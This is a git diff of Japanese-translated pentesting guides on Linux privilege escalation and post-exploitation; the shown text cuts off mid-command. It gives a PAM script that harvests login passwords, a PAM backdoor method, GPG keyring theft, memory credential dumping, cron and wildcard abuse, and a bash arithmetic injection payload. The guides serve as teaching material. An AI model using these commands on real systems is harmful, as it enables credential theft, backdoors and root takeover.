diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index 2d1d5fa3d..cff76fd61 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -2,24 +2,25 @@ {{#include ../../banners/hacktricks-training.md}} -## PAMを使用したログインパスワードのスニッフィング +## Sniffing Logon Passwords with PAM + +Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check: -各ユーザーがログインに使用するパスワードを記録するためにPAMモジュールを設定しましょう。PAMが何か分からない場合は、以下を確認してください: {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} -**詳細については[元の投稿](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)を確認してください**。これは要約です: +**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. これは要約です: -**技術概要:** -プラガブル認証モジュール(PAM)は、Unixベースのシステムでの認証管理に柔軟性を提供します。ログインプロセスをカスタマイズすることでセキュリティを強化できますが、誤用されるとリスクも伴います。この要約では、PAMを使用してログイン資格情報をキャプチャする技術と、その緩和戦略を概説します。 +**Technique Overview:** +Pluggable Authentication Modules (PAM) は、Unix 系システムでの認証管理に柔軟性を提供します。ログインプロセスをカスタマイズすることでセキュリティを向上させられますが、誤用されるとリスクを招きます。本要約では、PAM を使ってログイン資格情報を取得する手法とその緩和策を概説します。 -**資格情報のキャプチャ:** +**Capturing Credentials:** -- `toomanysecrets.sh`という名前のbashスクリプトが作成され、ログイン試行を記録し、日付、ユーザー名(`$PAM_USER`)、パスワード(stdin経由)、およびリモートホストIP(`$PAM_RHOST`)を`/var/log/toomanysecrets.log`にキャプチャします。 -- スクリプトは実行可能にされ、`pam_exec.so`モジュールを使用してPAM設定(`common-auth`)に統合され、静かに実行し、認証トークンをスクリプトに公開するオプションが付与されます。 -- このアプローチは、侵害されたLinuxホストが資格情報を密かに記録するためにどのように悪用されるかを示しています。 +- `toomanysecrets.sh` という名前の bash スクリプトを作成し、ログイン試行を記録するようにして、日付、username (`$PAM_USER`)、password(stdin 経由)、remote host IP (`$PAM_RHOST`) を `/var/log/toomanysecrets.log` に記録します。 +- スクリプトに実行権限を与え、`pam_exec.so` モジュールを使用して PAM の設定(`common-auth`)に統合します。オプションは静かに実行し、認証トークンをスクリプトに渡すようにします。 +- この手法は、乗っ取られた Linux ホストが資格情報を秘かにログに記録するためにどのように悪用され得るかを示しています。 ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log @@ -29,25 +30,52 @@ sudo nano /etc/pam.d/common-auth # Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` -### PAMのバックドア作成 +### Backdooring PAM -**詳細については[元の投稿](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)を確認してください**。これは要約です: +**詳細は[original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)を確認してください**。これは要約です: -Pluggable Authentication Module (PAM)は、Linuxでユーザー認証に使用されるシステムです。これは、**ユーザー名**、**パスワード**、および**サービス**の3つの主要な概念に基づいて動作します。各サービスの設定ファイルは`/etc/pam.d/`ディレクトリにあり、共有ライブラリが認証を処理します。 +Pluggable Authentication Module (PAM) は Linux 上でユーザ認証に使われるシステムです。主に3つの概念で動作します:**username**, **password**, **service**。各サービスの設定ファイルは `/etc/pam.d/` にあり、共有ライブラリが認証を処理します。 -**目的**:特定のパスワードでの認証を許可するようにPAMを変更し、実際のユーザーパスワードをバイパスします。これは、パスワード検証のためにほぼすべてのサービスによって含まれる`common-auth`ファイルで使用される`pam_unix.so`共有ライブラリに特に焦点を当てています。 +**目的**: PAM を修正して、実際のユーザーパスワードをバイパスし、特定のパスワードで認証できるようにします。特に `pam_unix.so` 共有ライブラリに注目しており、これはパスワード検証のためにほとんどのサービスが include する `common-auth` ファイルで使われています。 -### `pam_unix.so`の変更手順: +### Steps for Modifying `pam_unix.so`: -1. **`common-auth`ファイル内の認証ディレクティブを特定**: -- ユーザーのパスワードを確認する責任がある行は`pam_unix.so`を呼び出します。 -2. **ソースコードを変更**: -- `pam_unix_auth.c`ソースファイルに、事前定義されたパスワードが使用された場合にアクセスを許可する条件文を追加し、そうでない場合は通常の認証プロセスを続行します。 -3. **修正された`pam_unix.so`ライブラリを適切なディレクトリに再コンパイルして置き換えます**。 -4. **テスト**: -- 事前定義されたパスワードでさまざまなサービス(ログイン、ssh、sudo、su、スクリーンセーバー)にアクセスが許可され、通常の認証プロセスには影響がありません。 +1. **Locate the Authentication Directive** in the `common-auth` file: +- ユーザのパスワードをチェックする行は `pam_unix.so` を呼び出しています。 +2. **Modify Source Code**: +- `pam_unix_auth.c` ソースファイルに、事前定義したパスワードが使われている場合にアクセスを許可し、そうでなければ通常の認証処理を継続する条件文を追加します。 +3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory. +4. **Testing**: +- 事前定義したパスワードでさまざまなサービス(login、ssh、sudo、su、screensaver)へのアクセスが許可され、通常の認証処理は影響を受けません。 > [!TIP] -> このプロセスを[https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)で自動化できます。 +> このプロセスは [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) で自動化できます + +## ホームディレクトリ移動による GPG loot の復号 + +暗号化された `.gpg` ファイルとユーザの `~/.gnupg` フォルダ(pubring, private-keys, trustdb)を見つけたが、GnuPG の homedir の権限/ロックのために復号できない場合、keyring を書き込み可能な場所にコピーしてそれを GPG のホームとして使います。 + +これを行わないと典型的に以下のエラーが出ます: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key"(GPG が元の homedir を読み書きできないため)。 + +Workflow: +```bash +# 1) Stage a writable homedir and copy the victim's keyring +mkdir -p /dev/shm/fakehome/.gnupg +cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/ +# 2) Ensure ownership & perms are sane for gnupg +chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg +chmod 700 /dev/shm/fakehome/.gnupg +# 3) Decrypt using the relocated homedir (either flag works) +GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg +# or +gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg +``` +秘密鍵のマテリアルが `private-keys-v1.d` に存在する場合、GPG はパスフレーズを要求せずにアンロックおよび復号を行います(鍵が保護されている場合はプロンプトが表示されます)。 + + +## 参考資料 + +- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 5e6f72547..e3ce613f7 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,46 +6,46 @@ ### OS 情報 -実行中の OS についての情報収集を始めましょう +実行中のOSについての情報収集を始めましょう。 ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### パス -もし **have write permissions on any folder inside the `PATH`** であれば、いくつかの libraries や binaries を hijack できる可能性があります: +もし **`PATH` 変数内の任意のフォルダに書き込み権限がある** 場合、いくつかの libraries や binaries を hijack できる可能性があります: ```bash echo $PATH ``` ### 環境情報 -環境変数に興味深い情報、パスワードやAPIキーはありますか? +環境変数に興味深い情報、パスワード、または API キーはありますか? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -カーネルのバージョンを確認し、escalate privileges に利用できる exploit がないか確認する +kernel version を確認し、privilege escalation に使える exploit がないか調べる。 ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -良い脆弱なカーネルの一覧といくつかの既に **compiled exploits** はここで見つけられます: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -他にも **compiled exploits** が見つかるサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +良い脆弱なカーネルのリストと、すでに**compiled exploits**がいくつか見つかる場所: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +その他で**compiled exploits**が見つかるサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -そのサイトからすべての脆弱なカーネルバージョンを抽出するには、次のようにします: +そのウェブからすべての脆弱なカーネルバージョンを抽出するには: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -カーネルのエクスプロイトを探すのに役立つツール: +kernel exploits を検索するのに役立つツールは: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (被害者上で実行、カーネル2.x向けのエクスプロイトのみチェックする) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ターゲット上で実行。kernel 2.x の exploit のみをチェックします) -常に**Googleでカーネルバージョンを検索**してください。お使いのカーネルバージョンが既知のエクスプロイトに記載されていることがあり、その場合はそのエクスプロイトが有効であることを確認できます。 +Always **kernel version を Google で検索**。お使いの kernel version が既存の kernel exploit に明記されていることがあり、その場合はその exploit が有効であると確信できます。 ### CVE-2016-5195 (DirtyCow) @@ -59,11 +59,11 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo バージョン -以下に示される脆弱な sudo バージョンに基づく: +次に示す脆弱な sudo バージョンに基づいて: ```bash searchsploit sudo ``` -この grep を使って sudo のバージョンが脆弱かどうかを確認できます。 +このgrepを使ってsudoのバージョンが脆弱かどうかを確認できます。 ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,9 +73,9 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` sudo -u#-1 /bin/bash ``` -### Dmesg 署名検証に失敗しました +### Dmesg: 署名検証に失敗 -このvulnがどのように悪用されるかの**例**については、**smasher2 box of HTB**を確認してください。 +この **vuln** がどのように悪用されるかの **例** については、**smasher2 box of HTB** を確認してください。 ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## 考えられる防御を列挙する +## 可能な防御を列挙する ### AppArmor ```bash @@ -123,8 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -もし docker container の中にいるなら、そこから脱出を試みることができます: - +docker container の中にいる場合、そこから脱出を試みることができます: {{#ref}} docker-security/ @@ -132,69 +131,58 @@ docker-security/ ## ドライブ -**何がマウントされ、何がアンマウントされているか**、どこでなぜを確認してください。もし何かがアンマウントされているなら、それをマウントして機密情報を確認してみてください。 +**何がマウントされていてアンマウントされているか**、どこにあり、なぜなのかを確認してください。もし何かがアンマウントされているなら、それをマウントしてプライベートな情報を確認してみてください。 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` -## 便利なソフトウェア +## 有用なソフトウェア -有用なバイナリを列挙する +有用な binaries を列挙する ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -また、**コンパイラがインストールされているか**確認してください。これは、kernel exploit を使用する必要がある場合に役立ちます。使用するマシン(またはそれに類するマシン)でコンパイルすることが推奨されるためです。 +また、**any compiler is installed**かどうかを確認してください。これは、いくつかの kernel exploit を使用する必要がある場合に有用です。使用するマシン(または類似のマシン)上でコンパイルすることが推奨されているためです。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### 脆弱なソフトウェアのインストール状況 +### 脆弱なソフトウェアがインストールされているか -インストールされているパッケージやサービスの**バージョン**を確認してください。例えば古い Nagios のバージョンが存在し、privilege escalation に悪用される可能性があります…\ +**インストールされているパッケージやサービスのバージョン**を確認してください。例えば古いNagiosのバージョンが存在し、それが exploited for escalating privileges…\ より疑わしいインストール済みソフトウェアのバージョンは手動で確認することを推奨します。 ```bash dpkg -l #Debian rpm -qa #Centos ``` -マシンにSSHでアクセスできる場合、**openVAS**を使ってマシン内にインストールされている古い、または脆弱なソフトウェアをチェックできます。 +マシンにSSHでアクセスできる場合、マシン内にインストールされている古く脆弱なソフトウェアを確認するために **openVAS** を使用することもできます。 -> [!NOTE] > _これらのコマンドは大量の情報を出力し、その多くはほとんど役に立たない点に注意してください。したがって、OpenVASなどのアプリケーションで、インストールされているソフトウェアのバージョンが既知のexploitsに対して脆弱かどうかを確認することを推奨します_ +> [!NOTE] > _注意:これらのコマンドは大量の情報を表示し、その大部分はほとんど役に立たないため、OpenVASのようにインストールされているソフトウェアのバージョンが既知のexploitsに対して脆弱かどうかをチェックするアプリケーションの使用を推奨します_ ## プロセス -実行されている**どのプロセス**を確認し、どのプロセスが**本来あるべき以上の特権**を持っていないかをチェックしてください(例えば tomcat が root で実行されているかもしれません) +どのプロセスが実行されているかを確認し、特定のプロセスが **本来あるべきより多くの権限** を持っていないかをチェックしてください(例えば tomcat が root によって実行されているかもしれません)。 ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -常に [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md) を確認してください。**Linpeas** はプロセスのコマンドライン内の `--inspect` パラメータを確認してそれらを検出します。\ -また、**check your privileges over the processes binaries** を確認してください。誰かのバイナリを上書きできるかもしれません。 - -### Process monitoring - -You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. +常に[**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md)が実行されている可能性を確認してください。**Linpeas**はプロセスのコマンドライン内の`--inspect`パラメータをチェックしてそれらを検出します。\ +また、**プロセスのバイナリに対する権限を確認してください**。誰かを上書きできるかもしれません。 ### プロセス監視 -pspy のようなツール([**pspy**](https://github.com/DominicBreuker/pspy))を使ってプロセスを監視できます。これは、脆弱なプロセスが頻繁に実行されている場合や特定の条件が満たされたときにそれらを特定するのに非常に有用です。 +プロセスを監視するために[**pspy**](https://github.com/DominicBreuker/pspy)のようなツールを使用できます。頻繁に実行される、または特定の条件が満たされたときに脆弱なプロセスを特定するのに非常に役立ちます。 -### Process memory +### プロセスメモリ -Some services of a server save **credentials in clear text inside the memory**.\ -Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ -However, remember that **as a regular user you can read the memory of the processes you own**. - -### プロセスのメモリ - -サーバ上の一部のサービスは **credentials in clear text inside the memory** を保存します。\ -通常、他ユーザーに属するプロセスのメモリを読むには **root privileges** が必要なため、これは通常すでに root でさらに資格情報を見つけたい場合に有用です。\ -ただし、**as a regular user you can read the memory of the processes you own** ことを忘れないでください。 +一部のサービスはメモリ内に**メモリ内に平文で保存されたcredentials**を保存します。\ +通常、他のユーザーに属するプロセスのメモリを読み取るには**root privileges**が必要です。したがって、これは通常、すでにrootでさらに多くのcredentialsを発見したいときにより有用です。\ +ただし、**通常ユーザーとしては自分が所有するプロセスのメモリを読み取ることができる**ことを忘れないでください。 > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> 最近のほとんどのマシンはデフォルトでptraceを許可していないことに注意してください。これは、非特権ユーザーが所有する他のプロセスをダンプできないことを意味します。 > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > @@ -203,23 +191,9 @@ However, remember that **as a regular user you can read the memory of the proces > - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. > - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. -> [!WARNING] -> 現在ほとんどのマシンは **don't allow ptrace by default** ため、非特権ユーザーに属する他のプロセスをダンプできないことに注意してください。 -> -> _**/proc/sys/kernel/yama/ptrace_scope**_ ファイルが ptrace のアクセス制御を行います: -> -> - **kernel.yama.ptrace_scope = 0**: 同じ uid を持つ限り、すべてのプロセスをデバッグできます。これは ptracing の従来の動作方法です。 -> - **kernel.yama.ptrace_scope = 1**: 親プロセスのみがデバッグ可能です。 -> - **kernel.yama.ptrace_scope = 2**: 管理者のみが ptrace を使用できます。CAP_SYS_PTRACE 権限が必要です。 -> - **kernel.yama.ptrace_scope = 3**: ptrace によるトレースはできません。一度設定すると、ptracing を有効にするには再起動が必要です。 - #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. - -#### GDB - -例えば FTP サービスのメモリにアクセスできる場合、Heap を取得してその中の credentials を検索できます。 +例えばFTPサービスのメモリにアクセスできる場合、Heapを取得してその内部のcredentialsを検索できます。 ```bash gdb -p (gdb) info proc mappings @@ -241,7 +215,10 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -指定したプロセスIDに対して、**maps はそのプロセスの仮想アドレス空間内でメモリがどのようにマップされているかを示し**、各マッピング領域の**アクセス権(permissions)も表示します**。**mem** 擬似ファイルは**プロセスのメモリそのものにアクセスできるようにします**。**maps** ファイルから、どの **メモリ領域が読み取り可能か** とそれらのオフセットを把握できます。この情報を使って、**mem ファイルの該当位置にシークして、読み取り可能な領域をすべてファイルにダンプします**。 +指定したプロセスIDについて、**maps はそのプロセスの仮想アドレス空間内でメモリがどのようにマッピングされているかを示し**、また各マッピング領域の**権限を表示します**。 +**mem** 疑似ファイルは、**プロセスのメモリそのものを公開します**。 +**maps** ファイルから、どの**メモリ領域が読み取り可能であるか**、およびそれらのオフセットが分かります。 +この情報を用いて、**mem ファイル内をシークして読み取り可能なすべての領域を dump し、ファイルに保存します**。 ```bash procdump() ( @@ -256,14 +233,15 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` はシステムの **物理** メモリにアクセスするためのデバイスで、仮想メモリにはアクセスしません。カーネルの仮想アドレス空間には /dev/kmem を使用してアクセスできます.\\ -通常、`/dev/mem` は **root** と kmem グループのみが読み取り可能です。 +`/dev/mem` はシステムの**物理**メモリへのアクセスを提供し、仮想メモリではありません。 +カーネルの仮想アドレス空間には /dev/kmem を使ってアクセスできます.\\ +通常、`/dev/mem` は **root** および **kmem** グループのみが読み取り可能です。 ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump の linux向け +### ProcDump for linux -ProcDumpは、Windows向けのSysinternalsスイートにある古典的なProcDumpツールをLinux向けに再構想したものです。入手は [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump は、Windows 向け Sysinternals スイートにある古典的な ProcDump ツールを Linux 向けに再構想したものです。入手先: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -292,38 +270,38 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### ツール -プロセスのメモリをdumpするには、次を使用できます: +プロセスのメモリをダンプするには、次を使用できます: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_root 要件を手動で削除して、あなたが所有するプロセスをdumpできます -- Script A.5 は [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) から (root が必要) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_手動でrootの要件を取り除き、自分が所有するプロセスをダンプできます +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root が必要) -### Process Memory からの資格情報 +### プロセスのメモリからの資格情報 #### 手動の例 -authenticator process が実行されていることを確認した場合: +authenticatorプロセスが実行されていることを確認した場合: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -プロセスをダンプして(前のセクションを参照して、プロセスのメモリをダンプするさまざまな方法を確認してください)メモリ内のcredentialsを検索できます: +processをdumpして(前のセクションを参照して、processのmemoryをdumpするさまざまな方法を確認してください)memory内からcredentialsを検索できます: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -ツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は、**steal clear text credentials from memory** およびいくつかの **well known files** から情報を盗みます。正常に動作させるには root 権限が必要です。 +このツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) はメモリやいくつかの既知のファイルから平文の資格情報を盗みます。正常に動作させるにはroot権限が必要です。 -| 機能 | プロセス名 | -| ------------------------------------------------- | -------------------- | -| GDM パスワード (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (アクティブな FTP 接続) | vsftpd | -| Apache2 (アクティブな HTTP Basic Auth セッション) | apache2 | -| OpenSSH (アクティブな SSH セッション - sudo 使用) | sshd: | +| 機能 | プロセス名 | +| ------------------------------------------------- | ---------------------- | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | +| LightDM (Ubuntu Desktop) | lightdm | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | #### 検索用正規表現/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -339,9 +317,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## スケジュールされた/Cron ジョブ +## スケジュールされた/Cron jobs -スケジュールされたジョブに脆弱性がないか確認する。root によって実行されるスクリプトを悪用できるかもしれない(wildcard vuln? root が使用するファイルを変更できるか? symlinks を使う? root が使用するディレクトリに特定のファイルを作成できるか?)。 +スケジュールされたジョブが脆弱かどうか確認する。rootで実行されるscriptを利用できるかもしれない(wildcard vuln? rootが使用するファイルを変更できるか? symlinksを使う? rootが使用するディレクトリに特定のファイルを作成する?)。 ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -349,26 +327,26 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Cron path -例えば、_/etc/crontab_ の中に PATH が見つかります: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +例えば、_/etc/crontab_ の中で次のような PATH を見つけることができます: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_ユーザー "user" が /home/user に書き込み権限を持っている点に注意_) +(_ユーザー "user" が /home/user に書き込み権限を持っていることに注意してください_) -この crontab 内で root ユーザーが PATH を設定せずにコマンドやスクリプトを実行しようとした場合。例えば: _\* \* \* \* root overwrite.sh_\ -その場合、次のようにして root シェルを取得できます: +この crontab の中で root ユーザーが PATH を設定せずにコマンドやスクリプトを実行しようとした場合。例えば: _\* \* \* \* root overwrite.sh_\ +その場合、次のようにして root shell を取得できます: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron がワイルドカードを含むスクリプトを実行する場合 (Wildcard Injection) +### Cron ワイルドカードを含むスクリプトを使用する (Wildcard Injection) -スクリプトが root によって実行され、コマンド内に “**\***” が含まれている場合、予期しない動作(privesc のような)を引き起こすためにこれを悪用できる可能性があります。例: +もし root によって実行されるスクリプト内のコマンドに “**\***” が含まれている場合、これを悪用して予期しない動作(privesc など)を引き起こすことができます。例: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**ワイルドカードが次のようなパスに続く場合** _**/some/path/\***_ **、脆弱ではありません(** _**./\***_ **も同様です)。** +**If the wildcard が _**/some/path/\***_ のようなパスの前にある場合、それは脆弱ではありません(_**./\***_ も同様に脆弱ではありません)。** -Read the following page for more wildcard exploitation tricks: +より多くの wildcard exploitation tricks については次のページを参照してください: {{#ref}} @@ -378,11 +356,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs. +Bash は ((...)), $((...)) および let 内での arithmetic evaluation の前に parameter expansion と command substitution を実行します。もし root cron/parser が untrusted log fields を読み取り、それらを arithmetic context に渡すと、attacker は cron 実行時に root として実行される command substitution $(...) を注入できます。 -- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. +- 理由: Bash では expansions は次の順序で発生します: parameter/variable expansion, command substitution, arithmetic expansion, その後 word splitting と pathname expansion。したがって `$(/bin/bash -c 'id > /tmp/pwn')0` のような値はまず substitution (コマンド実行) され、残った数値の `0` が arithmetic に使われるためスクリプトはエラーなく続行します。 -- 典型的な脆弱パターン: +- 典型的な脆弱なパターン: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -392,7 +370,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: パースされるログに攻撃者が制御するテキストを書き込み、数値に見えるフィールドに command substitution を含め末尾が数字になるようにします。算術が有効であるように、コマンドが stdout に出力しない(または出力をリダイレクトする)ようにしてください。 +- 悪用方法: parsed log に attacker-controlled なテキストを書き込み、数字に見えるフィールドが command substitution を含み末尾が数字になるようにします。コマンドが stdout に出力しない(またはリダイレクトする)ようにして、arithmetic が有効なままであることを確認してください。 ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -401,29 +379,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -もし **root によって実行される cron script を変更できる**なら、簡単に shell を取得できます: +If you **can modify a cron script** executed by root, you can get a shell very easily: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -rootが実行するscriptがあなたが完全にアクセスできる**ディレクトリ**を使用している場合、そのフォルダを削除して、あなたが管理するscriptを置いた別のディレクトリを指す**symlinkフォルダを作成する**ことが有用かもしれない。 +rootによって実行されるスクリプトが**あなたが完全にアクセスできるディレクトリ**を使用している場合、そのフォルダを削除して、**あなたが制御するスクリプトを提供する別の場所へ向けたsymlinkフォルダを作成する**ことが有効かもしれません。 ```bash ln -d -s ``` -### 頻繁な cron ジョブ +### 頻繁な cron jobs -プロセスを監視して、1分、2分、5分ごとに実行されているプロセスを探せます。うまく利用すれば権限昇格につながるかもしれません。 +プロセスを監視して、1分、2分、5分ごとに実行されているプロセスを探すことができます。これを利用して、escalate privileges できるかもしれません。 -例えば、**0.1秒ごとに1分間監視**し、**実行回数の少ないコマンドでソート**して最も多く実行されたコマンドを削除するには、次のようにします: +例えば、**1分間、0.1秒ごとに監視する**, **実行回数の少ないコマンドでソートする**、そして最も多く実行されたコマンドを削除するには、次のようにできます: ```bash for i in $(seq 1 610); do ps -e --format cmd >> 